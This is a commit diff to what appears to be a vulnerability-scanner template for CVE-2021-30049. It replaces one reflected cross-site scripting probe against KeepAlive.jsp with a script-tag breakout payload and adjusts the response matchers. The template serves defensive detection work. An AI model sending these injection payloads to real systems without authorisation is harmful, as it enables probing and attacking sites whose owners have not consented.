Update CVE-2021-30049.yaml

2021-09-17 17:56:34 +05:30 · 2021-09-17 17:56:34 +05:30 · 0d9d58a46b
parent 2bed4d9a92
commit 0d9d58a46b
1 changed files with 5 additions and 3 deletions
--- a/cves/2021/CVE-2021-30049.yaml
+++ b/cves/2021/CVE-2021-30049.yaml
@ -13,18 +13,20 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%22%3E%3Csvg%20onload%3Dalert%281%29%3E'
+      - '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
-        part: body
        words:
-          - "<svg onload=alert(1)>"
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
      - type: word
        part: header
        words:
          - "text/html"
+
      - type: status
        status:
          - 200